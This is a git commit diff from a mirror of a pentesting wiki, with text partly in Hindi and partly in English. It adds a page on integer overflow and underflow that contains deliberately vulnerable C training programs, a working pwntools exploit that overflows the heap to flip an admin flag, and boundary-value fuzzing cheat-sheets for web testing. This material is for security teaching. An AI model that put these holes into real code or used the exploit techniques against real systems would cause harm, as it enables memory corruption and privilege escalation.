mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo
This commit is contained in:
parent
241e84967b
commit
eff66d3c17
@ -785,7 +785,7 @@
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
|
||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
|
||||
|
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
@ -0,0 +1,368 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
|
||||
|
||||
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
|
||||
|
||||
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
|
||||
|
||||
Max values for common integer types:
|
||||
| Type | Size (bits) | Min Value | Max Value |
|
||||
|----------------|-------------|--------------------|--------------------|
|
||||
| int8_t | 8 | -128 | 127 |
|
||||
| uint8_t | 8 | 0 | 255 |
|
||||
| int16_t | 16 | -32,768 | 32,767 |
|
||||
| uint16_t | 16 | 0 | 65,535 |
|
||||
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
|
||||
| uint32_t | 32 | 0 | 4,294,967,295 |
|
||||
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
|
||||
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
|
||||
|
||||
A short is equivalent to a `int16_t` and an int is equivalent to a `int32_t` and a long is equivalent to a `int64_t` in 64bits systems.
|
||||
|
||||
### Max values
|
||||
|
||||
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## उदाहरण
|
||||
|
||||
### Pure overflow
|
||||
|
||||
प्रिंट किया गया परिणाम 0 होगा क्योंकि हमने char overflow कर दिया:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### साइन किए गए से अनसाइन किए गए में रूपांतरण
|
||||
|
||||
मान लीजिए ऐसी स्थिति जहाँ उपयोगकर्ता इनपुट से एक साइन किया हुआ पूर्णांक (signed integer) पढ़ा जाता है और फिर उसे बिना उचित सत्यापन के ऐसे संदर्भ में उपयोग किया जाता है जो उसे अनसाइन किया गया पूर्णांक (unsigned integer) के रूप में मानता है:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
इस उदाहरण में, यदि कोई उपयोगकर्ता ऋणात्मक संख्या इनपुट करता है, तो इसे बाइनरी मानों की व्याख्या के तरीके के कारण एक बड़े unsigned integer के रूप में माना जाएगा, जिससे अप्रत्याशित व्यवहार हो सकता है।
|
||||
|
||||
### macOS Overflow Example
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Realistic integer-overflow → undersized allocation → heap overflow → flag
|
||||
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // Target to flip from 0 → 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
|
||||
size_t got = 0;
|
||||
|
||||
printf("Requested bytes: %zu\n", want);
|
||||
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) {
|
||||
got += (size_t)n;
|
||||
continue;
|
||||
}
|
||||
if (n == 0) {
|
||||
// EOF – stop; partial reads are fine for our exploit
|
||||
break;
|
||||
}
|
||||
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
|
||||
perror("read");
|
||||
break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Bundle Importer (training) ===");
|
||||
|
||||
// 1) Read attacker-controlled parameters (use large values)
|
||||
size_t count = 0, elem_size = 0;
|
||||
printf("Entry count: ");
|
||||
if (scanf("%zu", &count) != 1) return 1;
|
||||
printf("Entry size: ");
|
||||
if (scanf("%zu", &elem_size) != 1) return 1;
|
||||
|
||||
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
|
||||
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
|
||||
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
|
||||
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
|
||||
Then, product32 = 0
|
||||
*/
|
||||
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
|
||||
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
|
||||
|
||||
// 3) Allocate a single arena and lay out [buffer][slack][session]
|
||||
// This makes adjacency deterministic (no reliance on system malloc order).
|
||||
const size_t SLACK = 512;
|
||||
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena; // In this buffer the attacker will copy data
|
||||
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, alloc32, (void*)sess,
|
||||
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
|
||||
|
||||
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
|
||||
size_t to_copy = count * elem_size; // <-- Large size_t
|
||||
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
|
||||
|
||||
puts(">> Send bundle payload on stdin (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
// 5) Privileged action gated by a field next to the overflow target
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
इसे निम्न के साथ कम्पाइल करें:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_ovf_heap_priv int_ovf_heap_priv.c
|
||||
```
|
||||
#### Exploit
|
||||
```python
|
||||
# exploit.py
|
||||
from pwn import *
|
||||
|
||||
# Keep logs readable; switch to "debug" if you want full I/O traces
|
||||
context.log_level = "info"
|
||||
|
||||
EXE = "./int_ovf_heap_priv"
|
||||
|
||||
def main():
|
||||
# IMPORTANT: use plain pipes, not PTY
|
||||
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
|
||||
|
||||
# 1) Drive the prompts
|
||||
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
|
||||
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
|
||||
|
||||
# 2) Wait until it’s actually reading the payload
|
||||
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
|
||||
|
||||
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
|
||||
payload = b"A" * 48 + p32(1)
|
||||
|
||||
# 4) Send payload, THEN send EOF via half-close on the pipe
|
||||
io.send(payload)
|
||||
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
|
||||
|
||||
# 5) Read the rest (should print admin + FLAG)
|
||||
print(io.recvall(timeout=5).decode(errors="ignore"))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
### macOS Underflow उदाहरण
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
|
||||
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // flip 0 -> 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
|
||||
size_t got = 0;
|
||||
printf("[dbg] Requested bytes: %zu\n", want);
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) { got += (size_t)n; continue; }
|
||||
if (n == 0) break; // EOF: partial read is fine
|
||||
perror("read"); break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Packet Importer (UNDERFLOW training) ===");
|
||||
|
||||
size_t total_len = 0;
|
||||
printf("Total packet length: ");
|
||||
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
|
||||
|
||||
const size_t HEADER = 16;
|
||||
|
||||
// **BUG**: size_t underflow if total_len < HEADER
|
||||
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
|
||||
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
|
||||
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
|
||||
total_len, HEADER, payload_len);
|
||||
|
||||
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
|
||||
const size_t SLACK = 256;
|
||||
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena;
|
||||
struct session *sess = (struct session*)(arena + total_len + 16);
|
||||
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
|
||||
|
||||
puts(">> Send payload bytes (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, payload_len);
|
||||
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
इसे निम्न के साथ कंपाइल करें:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_underflow_heap int_underflow_heap.c
|
||||
```
|
||||
### Other Examples
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- पासवर्ड के आकार को स्टोर करने के लिए केवल 1B उपयोग किया जाता है, इसलिए इसे overflow करना संभव है और यह सोचने पर मजबूर किया जा सकता है कि इसकी लंबाई 4 है जबकि असल में यह 260 है — जिससे length check protection को बायपास किया जा सकता है
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- कुछ संख्याओं के आधार पर z3 का उपयोग करके एक नया नंबर ढूंढें जिसे पहले नंबर से गुणा करने पर वह दूसरा नंबर प्राप्त हो:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- पासवर्ड के आकार को स्टोर करने के लिए केवल 1B उपयोग किया जाता है, इसलिए इसे overflow किया जा सकता है और यह सोचने पर मजबूर किया जा सकता है कि इसकी लंबाई 4 है जबकि असल में यह 260 है — जिससे length check protection को बायपास करके stack में अगले स्थानीय वेरिएबल को ओवरराइट कर दोनों प्रोटेक्शंस को बायपास किया जा सकता है
|
||||
|
||||
## ARM64
|
||||
|
||||
यह **ARM64 में बदलता नहीं है** जैसा कि आप [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) में देख सकते हैं।
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,115 +0,0 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
एक **integer overflow** के केंद्र में कंप्यूटर प्रोग्रामिंग में डेटा प्रकारों के **आकार** द्वारा लगाए गए प्रतिबंध और डेटा की **व्याख्या** है।
|
||||
|
||||
उदाहरण के लिए, एक **8-बिट unsigned integer** **0 से 255** तक के मानों का प्रतिनिधित्व कर सकता है। यदि आप 8-बिट unsigned integer में मान 256 को स्टोर करने का प्रयास करते हैं, तो यह अपनी संग्रहण क्षमता की सीमा के कारण 0 पर लिपट जाता है। इसी तरह, एक **16-बिट unsigned integer** के लिए, जो **0 से 65,535** तक के मानों को रख सकता है, 65,535 में 1 जोड़ने से मान फिर से 0 पर लिपट जाएगा।
|
||||
|
||||
इसके अलावा, एक **8-बिट signed integer** **-128 से 127** तक के मानों का प्रतिनिधित्व कर सकता है। इसका कारण यह है कि एक बिट को संकेत (सकारात्मक या नकारात्मक) का प्रतिनिधित्व करने के लिए उपयोग किया जाता है, जिससे 7 बिट्स को परिमाण का प्रतिनिधित्व करने के लिए छोड़ दिया जाता है। सबसे नकारात्मक संख्या को **-128** (बाइनरी `10000000`) के रूप में दर्शाया जाता है, और सबसे सकारात्मक संख्या **127** (बाइनरी `01111111`) है।
|
||||
|
||||
### Max values
|
||||
|
||||
संभावित **web vulnerabilities** के लिए अधिकतम समर्थित मानों को जानना बहुत दिलचस्प है:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## उदाहरण
|
||||
|
||||
### शुद्ध ओवरफ्लो
|
||||
|
||||
छापी गई परिणाम 0 होगी क्योंकि हमने char को ओवरफ्लो कर दिया:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
एक ऐसी स्थिति पर विचार करें जहाँ एक साइन किया हुआ पूर्णांक उपयोगकर्ता इनपुट से पढ़ा जाता है और फिर इसे एक संदर्भ में उपयोग किया जाता है जो इसे एक असाइन किया हुआ पूर्णांक के रूप में मानता है, बिना उचित सत्यापन के:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
इस उदाहरण में, यदि एक उपयोगकर्ता नकारात्मक संख्या इनपुट करता है, तो इसे एक बड़े असाइन किए गए पूर्णांक के रूप में व्याख्यायित किया जाएगा, जो बाइनरी मानों की व्याख्या के तरीके के कारण है, जो संभावित रूप से अप्रत्याशित व्यवहार का कारण बन सकता है।
|
||||
|
||||
### अन्य उदाहरण
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- केवल 1B का उपयोग पासवर्ड के आकार को स्टोर करने के लिए किया जाता है, इसलिए इसे ओवरफ्लो करना संभव है और इसे 4 की लंबाई के रूप में सोचने के लिए मजबूर करना जबकि वास्तव में इसकी लंबाई 260 है, ताकि लंबाई जांच सुरक्षा को बायपास किया जा सके।
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- कुछ संख्याओं को दिए जाने पर z3 का उपयोग करके एक नई संख्या खोजें जो पहले वाले से गुणा करने पर दूसरे को देगी:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- केवल 1B का उपयोग पासवर्ड के आकार को स्टोर करने के लिए किया जाता है, इसलिए इसे ओवरफ्लो करना संभव है और इसे 4 की लंबाई के रूप में सोचने के लिए मजबूर करना जबकि वास्तव में इसकी लंबाई 260 है, ताकि लंबाई जांच सुरक्षा को बायपास किया जा सके और स्टैक में अगले स्थानीय चर को ओवरराइट किया जा सके और दोनों सुरक्षा को बायपास किया जा सके।
|
||||
|
||||
## ARM64
|
||||
|
||||
यह **ARM64 में नहीं बदलता** जैसा कि आप [**इस ब्लॉग पोस्ट**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) में देख सकते हैं।
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -2,45 +2,44 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> यह पृष्ठ इस पर केंद्रित है कि **integer overflows/truncations को वेब अनुप्रयोगों और ब्राउज़रों में कैसे दुरुपयोग किया जा सकता है**। स्थानीय बाइनरी में शोषण प्राइमिटिव के लिए आप समर्पित पृष्ठ पढ़ना जारी रख सकते हैं:
|
||||
> This page focuses on how **integer overflows/truncations can be abused in web applications and browsers**. For exploitation primitives inside native binaries you can continue reading the dedicated page:
|
||||
>
|
||||
>
|
||||
{{#ref}}
|
||||
> ../../binary-exploitation/integer-overflow-and-underflow.md
|
||||
>
|
||||
{{#endref}}
|
||||
> {{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## 1. वेब पर integer गणित का महत्व क्यों है
|
||||
## 1. Why integer math still matters on the web
|
||||
|
||||
हालांकि आधुनिक स्टैक्स में अधिकांश व्यवसाय-तर्क *मेमोरी-सेफ* भाषाओं में लिखा गया है, अंतर्निहित रनटाइम (या तृतीय-पक्ष पुस्तकालय) अंततः C/C++ में लागू किया गया है। जब भी उपयोगकर्ता-नियंत्रित संख्याओं का उपयोग बफर आवंटित करने, ऑफसेट की गणना करने या लंबाई की जांच करने के लिए किया जाता है, **एक 32-बिट या 64-बिट रैप-अराउंड एक स्पष्ट रूप से हानिरहित पैरामीटर को आउट-ऑफ-बाउंड पढ़ने/लिखने, लॉजिक बायपास या DoS में बदल सकता है**।
|
||||
भले ही आधुनिक स्टैक्स में अधिकांश business-logic *memory-safe* भाषाओं में लिखा जाता है, underlying runtime (या third-party libraries) अंततः C/C++ में implement किया जाता है। जब भी user-controlled numbers का उपयोग buffers allocate करने, offsets compute करने, या length checks करने के लिए होता है, **एक 32-bit या 64-bit wrap-around एक दिखाई देने में harmless parameter को out-of-bounds read/write, logic bypass या DoS में बदल सकता है**।
|
||||
|
||||
टिपिकल अटैक सरफेस:
|
||||
Typical attack surface:
|
||||
|
||||
1. **संख्यात्मक अनुरोध पैरामीटर** – क्लासिक id, offset, या count फ़ील्ड।
|
||||
2. **लंबाई / आकार हेडर** – Content-Length, WebSocket फ्रेम लंबाई, HTTP/2 continuation_len, आदि।
|
||||
3. **फाइल-फॉर्मेट मेटाडेटा जो सर्वर-साइड या क्लाइंट-साइड पर पार्स किया गया** – छवि आयाम, चंक आकार, फ़ॉन्ट तालिकाएँ।
|
||||
4. **भाषा-स्तरीय रूपांतरण** – PHP/Go/Rust FFI में signed↔unsigned कास्ट, V8 के अंदर JS Number → int32 ट्रंकशन।
|
||||
5. **प्रमाणीकरण और व्यवसाय तर्क** – कूपन मूल्य, कीमत, या संतुलन गणनाएँ जो चुपचाप ओवरफ्लो होती हैं।
|
||||
1. **Numeric request parameters** – पारंपरिक id, offset, या count fields।
|
||||
2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, आदि।
|
||||
3. **File-format metadata parsed server-side or client-side** – image dimensions, chunk sizes, font tables।
|
||||
4. **Language-level conversions** – signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8।
|
||||
5. **Authentication & business logic** – coupon value, price, या balance calculations जो silently overflow हो सकते हैं।
|
||||
|
||||
---
|
||||
|
||||
## 2. हाल की वास्तविक दुनिया की कमजोरियाँ (2023-2025)
|
||||
## 2. Recent real-world vulnerabilities (2023-2025)
|
||||
|
||||
| वर्ष | घटक | मूल कारण | प्रभाव |
|
||||
| Year | Component | Root cause | Impact |
|
||||
|------|-----------|-----------|--------|
|
||||
| 2023 | **libwebp – CVE-2023-4863** | डिकोडेड पिक्सेल आकार की गणना करते समय 32-बिट गुणा ओवरफ्लो | Chrome 0-day (BLASTPASS on iOS) को ट्रिगर किया, *remote code execution* को renderer sandbox के अंदर अनुमति दी। |
|
||||
| 2024 | **V8 – CVE-2024-0519** | JSArray को बढ़ाते समय 32-बिट में ट्रंकशन बैकिंग स्टोर पर OOB लिखने की ओर ले जाती है | एकल विज़िट के बाद रिमोट कोड निष्पादन। |
|
||||
| 2025 | **Apollo GraphQL Server** (अप्रकाशित पैच) | पहले/अंतिम पेजिनेशन args के लिए 32-बिट साइन किया गया पूर्णांक; नकारात्मक मान विशाल सकारात्मक में लिपटे | लॉजिक बायपास और मेमोरी थकावट (DoS)। |
|
||||
| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Triggered a Chrome 0-day (BLASTPASS on iOS), allowed *remote code execution* inside the renderer sandbox. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution after a single visit. |
|
||||
| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). |
|
||||
|
||||
---
|
||||
|
||||
## 3. परीक्षण रणनीति
|
||||
## 3. Testing strategy
|
||||
|
||||
### 3.1 सीमा-मूल्य चीट-शीट
|
||||
### 3.1 Boundary-value cheat-sheet
|
||||
|
||||
जहाँ भी integer की अपेक्षा की जाती है, **अत्यधिक साइन किए गए/अनसाइन किए गए मान भेजें**:
|
||||
Send **extreme signed/unsigned values** wherever an integer is expected:
|
||||
```
|
||||
-1, 0, 1,
|
||||
127, 128, 255, 256,
|
||||
@ -50,8 +49,8 @@
|
||||
0x7fffffff, 0x80000000, 0xffffffff
|
||||
```
|
||||
अन्य उपयोगी प्रारूप:
|
||||
* हेक्स (0x100), ऑक्टल (0377), वैज्ञानिक (1e10), JSON बड़ा-इंट (9999999999999999999).
|
||||
* बहुत लंबे अंक स्ट्रिंग (>1kB) कस्टम पार्सर्स को हिट करने के लिए।
|
||||
* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
|
||||
* बहुत लंबी अंक-श्रृंखलाएँ (>1kB) custom parsers को हिट करने के लिए।
|
||||
|
||||
### 3.2 Burp Intruder टेम्पलेट
|
||||
```
|
||||
@ -60,17 +59,17 @@ Payload type: Numbers
|
||||
From: -10 To: 4294967300 Step: 1
|
||||
Pad to length: 10, Enable hex prefix 0x
|
||||
```
|
||||
### 3.3 फज़िंग पुस्तकालय और रनटाइम
|
||||
### 3.3 Fuzzing लाइब्रेरी & रनटाइम
|
||||
|
||||
* **AFL++/Honggfuzz** पार्सर के चारों ओर libFuzzer हार्नेस के साथ (जैसे, WebP, PNG, protobuf)।
|
||||
* **Fuzzilli** – V8/JSC पूर्णांक ट्रंकशन को लक्षित करने के लिए JavaScript इंजनों का व्याकरण-जानकारी वाला फज़िंग।
|
||||
